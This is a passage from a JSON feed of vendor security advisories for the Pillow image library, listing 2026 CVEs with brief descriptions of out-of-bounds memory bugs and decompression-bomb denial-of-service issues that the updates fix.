9.4.0.post9+tuxcare.","status":"published","published":"2026-09-30T07:03:46Z","modified":"2026-10-15T09:48:02.262965083Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790754735","title":"TuxCare security update for pillow (8 CVEs)","description":"TuxCare rebuilt pillow to address 8 CVEs. Fixed in 8.4.0.post8+tuxcare.","status":"published","published":"2026-09-30T07:52:15Z","modified":"2026-10-15T09:48:02.212872871Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"MGASA-2026-0463","title":"Updated python-pillow packages fix security vulnerabilities","description":"Prevent decompression bomb when parsing PDF\nWindowsViewer.get_command injection\nEPS image infinite loop\nJPEG2000 image memory usage\nMcIdas out-of-bounds (OOB) read\nOut-of-bounds (OOB) read when saving 1 mode TGA images\nOut-of-bounds (OOB) write from large RankFilter sizes\nOut-of-bounds (OOB) write from Image.paste()\nOut-of-bounds (OOB) write in ImageCmsTransform\nPrevent FontFile decompression bomb\nPrevent GD decompression bomb\n","status":"published","published":"2026-10-01T00:08:51Z","modified":"2026-10-01T00:27:45.940050235Z","updated_at":"2026-11-02T15:49:43.795591Z"},{"id":"openSUSE-SU-2026:11283-1","title":"python313-Pillow-12.3.0-2.1 on GA media","description":"These are all security issues fixed in the python313-Pillow-12.3.0-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-07-15T00:00:00Z","modified":"2026-07-16T10:00:16.326117475Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"openSUSE-SU-2026:21544-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues\n\n- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on `mmap` path (bsc#1271419).\n- CVE-2026-59197: heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`\n  (bsc#1271418).\n- CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).\n- CVE-2026-59199: heap out-of-bounds write in `Image.paste()` and `Image.crop()` via signed coordinate overflow\n  (bsc#1271421).\n- CVE-2026-59200: decompression bomb DoS via `PdfParser.PdfStream.decode()` (bsc#1271422).\n- CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).\n- CVE-2026-59205: controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch\n  (bsc#1271425).\n","status":"published","published":"2026-08-10T17:36:28Z","modified":"2026-08-12T18:23:41.374022335Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"ROOT-APP-PYPI-CVE-2026-59198","title":"CVE-2026-59198 in pillow - Patched by Root","description":"Root has patched CVE-2026-59198 in the pillow package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-11-06T10:13:42Z","modified":"2026-11-06T11:15:04.344616336Z","updated_at":"2026-11-06T11:42:45.055937Z"},{"id":"SUSE-SU-2026:23217-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues\n\n- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on `mmap` path (bsc#1271419).\n- CVE-2026-59197: heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`\n  (bsc#1271418).\n- CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).\n- CVE-2026-59199: heap out-of-bounds write in `Image.paste()` and `Image.crop()` via signed coordinate overflow\n  (bsc#1271421).\n- CVE-2026-59200: decompression bomb DoS via `PdfParser.PdfStream.decode()` (bsc#1271422).\n- CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).\n- CVE-2026-59205: controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch\n  (bsc#1271425).\n","status":"published","published":"2026-08-10T17:35:48Z","modified":"2026-08-27T18:23:09.233548245Z","updated_at":"2026-11-02T15:54:03.503431Z"},{"id":"SUSE-SU-2026:23228-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues\n\n- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on `mmap` path (bsc#1271419).\n- CVE-2026-59197: heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`\n  (bsc#1271418).\n- CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).\n- CVE-2026-59199: heap out-of-bounds write in `Image.paste()` and `Image.crop()` via signed coordinate overflow\n  (bsc#1271421).\n- CVE-2026-59200: decompression bomb DoS via `PdfParser.PdfStream.decode()` (bsc#1271422).\n- CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).\n- CVE-2026-59205: controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch\n  (bsc#1271425).\n","status":"published","published":"2026-08-10T17:35:48Z","modified":"2026-08-27T18:23:10.173621403Z","updated_at":"2026-11-02T15:54:03.503431Z"},{"id":"SUSE-SU-2026:3084-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues\n\n- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on `mmap` path (bsc#1271419).\n- CVE-2026-59197: heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`\n  (bsc#1271418).\n- CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).\n- CVE-2026-59199: heap out-of-bounds write in `Image.paste()` and `Image.crop()` via signed coordinate overflow\n  (bsc#1271421).\n- CVE-2026-59200: decompression bomb DoS via `PdfParser.PdfStream.decode()` (bsc#1271422).\n- CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).\n- CVE-2026-59205: controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch\n","status":"published","published":"2026-07-16T17:46:49Z","modified":"2026-07-17T09:30:07.365875733Z","updated_at":"2026-11-02T15:54:04.987808Z"},{"id":"SUSE-SU-2026:3268-1","title":"Security update for python-Pillow","description":"This update for python-Pillow fixes the following issues:\n\n- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on `mmap` path (bsc#1271419).\n- CVE-2026-54059: bomb protection bypass via PCF font loading due to `Image.frombytes()` being called without\n  `_decompression_bomb_check()` (bsc#1270409).\n- CVE-2026-54060: excessive allocation due to `FontFile.compile()`: `Image.new()` being called without\n  `_decompression_bomb_check()` (bsc#1270410).\n- CVE-2026-55379: bomb protection bypass via font loading due to `Image.new()` being called without\n  `_decompression_bomb_check()` (bsc#1270411).\n- CVE-2026-55380: unchecked 4.3 GB C-heap allocation due to image dimensions being accepted without\n  `_decompression_bomb_check()` in `GdImageFile._open()` (bsc#1270412).  \n- CVE-2026-59197: heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`\n  (bsc#1271418).\n- CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).\n- CVE-2026-59199: heap out-of-bounds write in `Image.paste()` and `Image.crop()` via signed coordinate overflow\n  (bsc#1271421).\n- CVE-2026-59200: decompression bomb DoS via `PdfParser.PdfStream.decode()` (bsc#1271422).\n- CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).\n- CVE-2026-59205: controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch\n  (bsc#1271425).\n","status":"published","published":"2026-07-27T10:59:25Z","modified":"2026-07-28T10:00:08.428650372Z","updated_at":"2026-11-02T15:54:04.987808Z"},{"id":"USN-8690-1","title":"pillow vulnerability","description":"It was discovered that Pillow did not properly manage memory when\nprocessing certain image files. An attacker could possibly use this  issue\nto cause a denial of service or read sensitive data.","status":"published","published":"2026-09-01T06:27:48Z","modified":"2026-09-03T10:25:55.100959386Z","updated_at":"2026-11-02T16:58:26.907654Z"}]}}